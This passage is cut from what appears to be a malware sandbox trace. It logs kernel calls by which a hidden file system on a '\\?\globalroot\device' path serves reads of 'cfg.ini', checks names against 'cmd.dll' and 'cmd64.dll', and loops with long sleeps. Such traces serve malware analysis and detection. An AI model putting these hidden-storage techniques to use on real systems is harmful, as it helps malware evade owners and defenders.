FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.683] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359f000 [0124.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.683] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.683] IdePortDispatch () returned 0x103 [0124.683] KeWaitForMutexObject () returned 0x0 [0124.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.683] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.683] IdePortDispatch () returned 0x103 [0124.683] KeWaitForMutexObject () returned 0x0 [0124.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.683] KeLeaveCriticalRegion () [0124.683] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.684] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.684] KeEnterCriticalRegion () [0124.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] KeLeaveCriticalRegion () [0124.684] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.684] KeEnterCriticalRegion () [0124.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.684] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3cc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] KeLeaveCriticalRegion () [0124.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.684] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.684] KeEnterCriticalRegion () [0124.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.684] KeLeaveCriticalRegion () [0124.684] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.684] ReleaseMutex (hMutex=0xf0) returned 1 [0124.684] Sleep (dwMilliseconds=0x124f80) [0124.698] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.698] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.698] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.698] KeEnterCriticalRegion () [0124.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.698] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.698] IdePortDispatch () returned 0x103 [0124.698] KeWaitForMutexObject () returned 0x0 [0124.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3c50 [0124.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.698] KeLeaveCriticalRegion () [0124.698] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.698] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.698] KeEnterCriticalRegion () [0124.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.698] KeLeaveCriticalRegion () [0124.698] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.698] KeEnterCriticalRegion () [0124.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.699] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.699] IdePortDispatch () returned 0x103 [0124.699] KeWaitForMutexObject () returned 0x0 [0124.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.699] KeLeaveCriticalRegion () [0124.699] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.699] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.699] KeEnterCriticalRegion () [0124.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.699] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a4000 [0124.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.699] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.699] IdePortDispatch () returned 0x103 [0124.699] KeWaitForMutexObject () returned 0x0 [0124.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.699] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.699] IdePortDispatch () returned 0x103 [0124.701] KeWaitForMutexObject () returned 0x0 [0124.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.701] KeLeaveCriticalRegion () [0124.701] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.701] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.701] KeEnterCriticalRegion () [0124.701] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.701] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.701] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] KeLeaveCriticalRegion () [0124.702] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.702] KeEnterCriticalRegion () [0124.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.702] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3940, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] KeLeaveCriticalRegion () [0124.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.702] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.702] KeEnterCriticalRegion () [0124.702] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] ExFreePoolWithTag (P=0xfffffa8003bf3c50, Tag=0x0) [0124.702] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.702] KeLeaveCriticalRegion () [0124.702] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.702] ReleaseMutex (hMutex=0xf0) returned 1 [0124.702] Sleep (dwMilliseconds=0x124f80) [0124.716] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.716] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.716] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.716] KeEnterCriticalRegion () [0124.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.716] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.716] IdePortDispatch () returned 0x103 [0124.716] KeWaitForMutexObject () returned 0x0 [0124.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.717] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.717] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.717] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.717] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.717] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] KeLeaveCriticalRegion () [0124.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.717] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.717] KeEnterCriticalRegion () [0124.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] KeLeaveCriticalRegion () [0124.717] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.717] KeEnterCriticalRegion () [0124.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.717] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.717] IdePortDispatch () returned 0x103 [0124.717] KeWaitForMutexObject () returned 0x0 [0124.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] KeLeaveCriticalRegion () [0124.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.717] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.717] KeEnterCriticalRegion () [0124.717] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a9000 [0124.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.717] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.717] IdePortDispatch () returned 0x103 [0124.718] KeWaitForMutexObject () returned 0x0 [0124.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.718] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.718] IdePortDispatch () returned 0x103 [0124.718] KeWaitForMutexObject () returned 0x0 [0124.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.718] KeLeaveCriticalRegion () [0124.718] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.718] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.718] KeEnterCriticalRegion () [0124.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] KeLeaveCriticalRegion () [0124.719] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.719] KeEnterCriticalRegion () [0124.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.719] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3a40, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] KeLeaveCriticalRegion () [0124.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.719] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.719] KeEnterCriticalRegion () [0124.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] ExFreePoolWithTag (P=0xfffffa8003bf1490, Tag=0x0) [0124.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.719] KeLeaveCriticalRegion () [0124.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.719] ReleaseMutex (hMutex=0xf0) returned 1 [0124.719] Sleep (dwMilliseconds=0x124f80) [0124.733] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.733] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.733] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.733] KeEnterCriticalRegion () [0124.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.733] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.733] IdePortDispatch () returned 0x103 [0124.734] KeWaitForMutexObject () returned 0x0 [0124.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.734] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.734] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.734] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.734] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.734] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf3530 [0124.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] KeLeaveCriticalRegion () [0124.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.734] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.734] KeEnterCriticalRegion () [0124.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] KeLeaveCriticalRegion () [0124.734] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.734] KeEnterCriticalRegion () [0124.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.734] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.734] IdePortDispatch () returned 0x103 [0124.734] KeWaitForMutexObject () returned 0x0 [0124.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] KeLeaveCriticalRegion () [0124.734] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.734] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.734] KeEnterCriticalRegion () [0124.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.734] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ae000 [0124.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.735] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.735] IdePortDispatch () returned 0x103 [0124.735] KeWaitForMutexObject () returned 0x0 [0124.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.735] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.735] IdePortDispatch () returned 0x103 [0124.735] KeWaitForMutexObject () returned 0x0 [0124.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.735] KeLeaveCriticalRegion () [0124.735] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.735] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.736] KeEnterCriticalRegion () [0124.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] KeLeaveCriticalRegion () [0124.736] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.736] KeEnterCriticalRegion () [0124.736] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.736] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.736] FsRtlFastUnlockAll 